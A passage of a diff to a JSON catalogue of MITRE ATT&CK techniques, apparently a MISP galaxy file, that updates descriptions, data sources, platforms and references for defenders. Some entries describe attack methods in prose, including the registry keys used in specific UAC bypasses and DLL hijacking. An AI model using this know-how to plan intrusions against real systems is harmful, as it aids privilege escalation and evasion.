"mitre-attack:defense-evasion" + ], "mitre_data_sources": [ - "User interface", + "File monitoring", + "Process monitoring", + "Process command-line parameters", + "API monitoring", + "Windows event logs" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1070", + "https://capec.mitre.org/data/definitions/93.html", + "https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil", + "https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx", + "https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog" + ] + }, + "uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "value": "Indicator Removal on Host - T1070" + }, + { + "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Scanning](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services. (Citation: NVD CVE-2014-7169)\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.", + "meta": { + "external_id": "T1210", + "kill_chain": [ + "mitre-attack:lateral-movement" + ], + "mitre_data_sources": [ + "Windows Error Reporting", + "Process monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1210", + "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/", + "https://nvd.nist.gov/vuln/detail/CVE-2017-0176", + "https://nvd.nist.gov/vuln/detail/CVE-2016-6662", + "https://nvd.nist.gov/vuln/detail/CVE-2014-7169" + ] + }, + "uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "value": "Exploitation of Remote Services - T1210" + }, + { + "description": "Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).", + "meta": { + "external_id": "CAPEC-309", + "kill_chain": [ + "mitre-attack:discovery" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1016", + "https://capec.mitre.org/data/definitions/309.html" + ] + }, + "uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "value": "System Network Configuration Discovery - T1016" + }, + { + "description": "Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are RPC, SSH, or RDP.", + "meta": { + "external_id": "T1071", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow", + "Process use of network", + "Malware reverse engineering", "Process monitoring" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", "Linux", - "Windows 10", - "MacOS", - "OS X" + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1011" - ], - "uuid": "51ea26b1-ff1e-4faa-b1a0-1114cd298c87" - }, - "value": "Exfiltration Over Other Network Medium" - }, - { - "description": "Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.[[Citation: Wikipedia OSI]] Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), and transport layer protocols, such as the User Datagram Protocol (UDP).\n\nICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts;[[Citation: Microsoft ICMP]] however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.\n\nDetection: Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X", - "meta": { - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1095", - "http://support.microsoft.com/KB/170292", + "https://attack.mitre.org/techniques/T1071", "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b" + ] }, - "value": "Standard Non-Application Layer Protocol" + "uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "value": "Standard Application Layer Protocol - T1071" }, { - "description": "Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, Scripting, PowerShell, or by using utilities present on the system.\n\nOne such example is use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file.certutil.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nContributors: Matthew Demaske, Adaptforward", + "description": "Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.", "meta": { + "external_id": "T1091", + "kill_chain": [ + "mitre-attack:lateral-movement", + "mitre-attack:initial-access" + ], "mitre_data_sources": [ "File monitoring", - "Process Monitoring", - "Process command-line parameters" + "Data loss prevention" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1140", - "https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/" - ], - "uuid": "673c3a5d-0e07-42bb-8e6f-9aa2322987d8" + "https://attack.mitre.org/techniques/T1091" + ] }, - "value": "Deobfuscate/Decode Files or Information" + "uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4", + "value": "Replication Through Removable Media - T1091" }, { - "description": "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.DLL Injection and unusual loaded DLLs through DLL Search Order Hijacking, which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command Registry key.[[Citation: enigma0x3 Fileless UAC Bypass]]\n* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe and [HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand Registry keys.[[Citation: enigma0x3 sdclt app paths]][[Citation: enigma0x3 sdclt bypass]]\n\nAnalysts should monitor these Registry settings for unauthorized changes.\n\nPlatforms: Windows Server 2012, Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012 R2, Windows 8.1, Windows 10\n\nData Sources: System calls, Process monitoring, Authentication logs, Process command-line parameters\n\nEffective Permissions: Administrator\n\nContributors: Stefan Kanthak, Casey Smith", + "description": "Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n### Browser-based Exploitation\n\nWeb browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1192). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n### Office Applications\n\nCommon office and productivity applications such as Microsoft Office are also targeted through [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193), [Spearphishing Link](https://attack.mitre.org/techniques/T1192), and [Spearphishing via Service](https://attack.mitre.org/techniques/T1194). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n### Common Third-party Applications\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.", "meta": { + "external_id": "T1203", + "kill_chain": [ + "mitre-attack:execution" + ], "mitre_data_sources": [ + "Anti-virus", "System calls", - "Process monitoring", - "Authentication logs", - "Process command-line parameters" + "Process monitoring" ], "mitre_platforms": [ - "Windows Server 2012", - "Windows 7", - "Windows 8", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows 8.1", - "Windows 10" + "Linux", + "Windows", + "macOS" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1088", - "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", - "https://github.com/hfiref0x/UACME", - "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works", - "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/", - "https://msdn.microsoft.com/en-us/library/ms679687.aspx", - "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/", - "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx", - "http://www.pretentiousname.com/misc/win7%20uac%20whitelist2.html", - "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass", - "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware" - ], - "uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" + "https://attack.mitre.org/techniques/T1203" + ] }, - "value": "Bypass User Account Control" + "uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "value": "Exploitation for Client Execution - T1203" }, { - "description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access.[[Citation: Microsoft Change Default Programs]][[Citation: Microsoft File Handlers]] Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nDetection: Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. \n\nUser file association preferences are stored under [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts and override associations configured under [HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to [[Discovery]] actions or other techniques.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters\n\nContributors: Stefan Kanthak", + "description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command. For example:\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)", "meta": { + "external_id": "CAPEC-556", + "kill_chain": [ + "mitre-attack:persistence" + ], "mitre_data_sources": [ "Windows Registry", "Process monitoring", "Process command-line parameters" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1042", + "https://attack.mitre.org/techniques/T1042", + "https://capec.mitre.org/data/definitions/556.html", "http://msdn.microsoft.com/en-us/library/bb166549.aspx", - "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs" - ], - "uuid": "68c96494-1a50-403e-8844-69a6af278c68" + "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs", + "https://docs.microsoft.com/windows-server/administration/windows-commands/assoc", + "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd" + ] }, - "value": "Change Default File Association" + "uuid": "68c96494-1a50-403e-8844-69a6af278c68", + "value": "Change Default File Association - T1042" }, { - "description": "Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, or some other network protocol. Different channels could include Internet Web services such as cloud storage.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: User interface, Process monitoring, Process use of network, Packet capture, Netflow/Enclave netflow, Network protocol analysis", + "description": "On Android, command line tools or the Java file APIs can be used to enumerate file system contents. However, Linux file permissions and SELinux policies generally strongly restrict what can be accessed by apps (without taking advantage of a privilege escalation exploit). The contents of the external storage directory are generally visible, which could present concern if sensitive data is inappropriately stored there.\n\niOS's security architecture generally restricts the ability to perform file and directory discovery without use of escalated privileges.", "meta": { + "external_id": "T1420", + "kill_chain": [ + "mitre-mobile-attack:discovery" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1420" + ] + }, + "uuid": "cf28ca46-1fd3-46b4-b1f6-ec0b72361848", + "value": "File and Directory Discovery - T1420" + }, + { + "description": "Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration.\n\nAdversaries may search connected removable media on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.", + "meta": { + "external_id": "T1025", + "kill_chain": [ + "mitre-attack:collection" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1025" + ] + }, + "uuid": "1b7ba276-eedc-4951-a762-0ceea2c030ec", + "value": "Data from Removable Media - T1025" + }, + { + "description": "In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.", + "meta": { + "external_id": "T1052", + "kill_chain": [ + "mitre-attack:exfiltration" + ], + "mitre_data_sources": [ + "Data loss prevention", + "File monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1052" + ] + }, + "uuid": "e6415f09-df0e-48de-9aba-928c902b7549", + "value": "Exfiltration Over Physical Medium - T1052" + }, + { + "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.\n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.\n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also obfuscate commands executed from payloads or directly via a [Command-Line Interface](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and whitelisting mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: PaloAlto EncodedCommand March 2017)\n\nAnother example of obfuscation is through the use of steganography, a technique of hiding messages or code in images, audio tracks, video clips, or text files. One of the first known and reported adversaries that used steganography activity surrounding [Invoke-PSImage](https://attack.mitre.org/software/S0231). The Duqu malware encrypted the gathered information from a victim's system and hid it into an image followed by exfiltrating the image to a C2 server. (Citation: Wikipedia Duqu) By the end of 2017, an adversary group used [Invoke-PSImage](https://attack.mitre.org/software/S0231) to hide PowerShell commands in an image file (png) and execute the code on a victim's system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary. (Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)", + "meta": { + "external_id": "T1027", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Network protocol analysis", + "Process use of network", + "File monitoring", + "Malware reverse engineering", + "Binary file metadata", + "Process command-line parameters", + "Environment variable", + "Process monitoring", + "Windows event logs", + "Network intrusion detection system", + "Email gateway", + "SSL/TLS inspection" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1027", + "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/", + "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/", + "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/", + "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html", + "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf", + "https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/", + "https://github.com/danielbohannon/Revoke-Obfuscation", + "https://github.com/itsreallynick/office-crackros", + "https://en.wikipedia.org/wiki/Duqu", + "https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/" + ] + }, + "uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "value": "Obfuscated Files or Information - T1027" + }, + { + "description": "Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.", + "meta": { + "external_id": "T1092", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "File monitoring", + "Data loss prevention" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1092" + ] + }, + "uuid": "64196062-5210-42c3-9a02-563a0d1797ef", + "value": "Communication Through Removable Media - T1092" + }, + { + "description": "ART (the Android Runtime) compiles optimized code on the device itself to improve performance. If an adversary can escalate privileges, he or she may be able to use those privileges to modify the cached code in order to hide malicious behavior. Since the code is compiled on the device, it may not receive the same level of integrity checks that are provided to code running in the system partition.\n\nSabanal describes the potential use of this technique in (Citation: Sabanal-ART).", + "meta": { + "external_id": "T1403", + "kill_chain": [ + "mitre-mobile-attack:persistence" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1403", + "https://www.blackhat.com/docs/asia-15/materials/asia-15-Sabanal-Hiding-Behind-ART-wp.pdf" + ] + }, + "uuid": "88932a8c-3a17-406f-9431-1da3ff19f6d6", + "value": "Modify cached executable code - T1403" + }, + { + "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. \n\n### Windows\n\nExample utilities used to obtain this information are dir and tree. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Windows API.\n\n### Mac and Linux\n\nIn Mac and Linux, this kind of discovery is accomplished with the ls, find, and locate commands.", + "meta": { + "external_id": "T1083", + "kill_chain": [ + "mitre-attack:discovery" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1083", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + ] + }, + "uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "value": "File and Directory Discovery - T1083" + }, + { + "description": "Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.", + "meta": { + "external_id": "CAPEC-471", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation", + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "File monitoring", + "DLL monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1038", + "https://capec.mitre.org/data/definitions/471.html", + "http://msdn.microsoft.com/en-US/library/ms682586", + "http://blogs.technet.com/b/msrc/archive/2010/08/21/microsoft-security-advisory-2269637-released.aspx", + "http://msdn.microsoft.com/en-US/library/ms682600", + "https://msdn.microsoft.com/en-US/library/aa375365", + "https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/", + "https://www.owasp.org/index.php/Binary_planting" + ] + }, + "uuid": "46944654-fcc1-4f63-9dad-628102376586", + "value": "DLL Search Order Hijacking - T1038" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nExploits spread through advertising (malvertising) involve injecting malicious or malware-laden advertisements into legitimate online advertising networks and webpages. (Citation: TPMalvertising)", + "meta": { + "external_id": "T1380", + "kill_chain": [ + "mitre-pre-attack:launch" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1380" + ] + }, + "uuid": "d72c0bc0-3007-418c-842c-328027ebdbc1", + "value": "Deploy exploit using advertising - T1380" + }, + { + "description": "An adversary could evade app vetting techniques by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis.\n\nDiscussion of general Android anti-analysis techniques can be found in (Citation: Petsas). Discussion of Google Play Store-specific anti-analysis techniques can be found in (Citation: Oberheide-Bouncer), (Citation: Percoco-Bouncer).\n\n (Citation: Wang) presents a discussion of iOS anti-analysis techniques.\n\nPlatforms: Android, iOS", + "meta": { + "external_id": "T1440", + "refs": [ + "https://attack.mitre.org/techniques/T1440" + ] + }, + "related": [ + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], + "uuid": "b765efd1-02e6-4e67-aebf-0fef5c37e54b", + "value": "Detect App Analysis Environment - T1440" + }, + { + "description": "Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n### Services\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n### Executable Installers\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)", + "meta": { + "external_id": "CAPEC-17", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "File monitoring", + "Services", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1044", + "https://capec.mitre.org/data/definitions/17.html", + "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/", + "http://seclists.org/fulldisclosure/2015/Dec/34" + ] + }, + "uuid": "0ca7beef-9bbc-4e35-97cf-437384ddce6a", + "value": "File System Permissions Weakness - T1044" + }, + { + "description": "An app could contain malicious code in obfuscated or encrypted form, then deobfuscate or decrypt the code at runtime to evade many app vetting techniques, as described in (Citation: 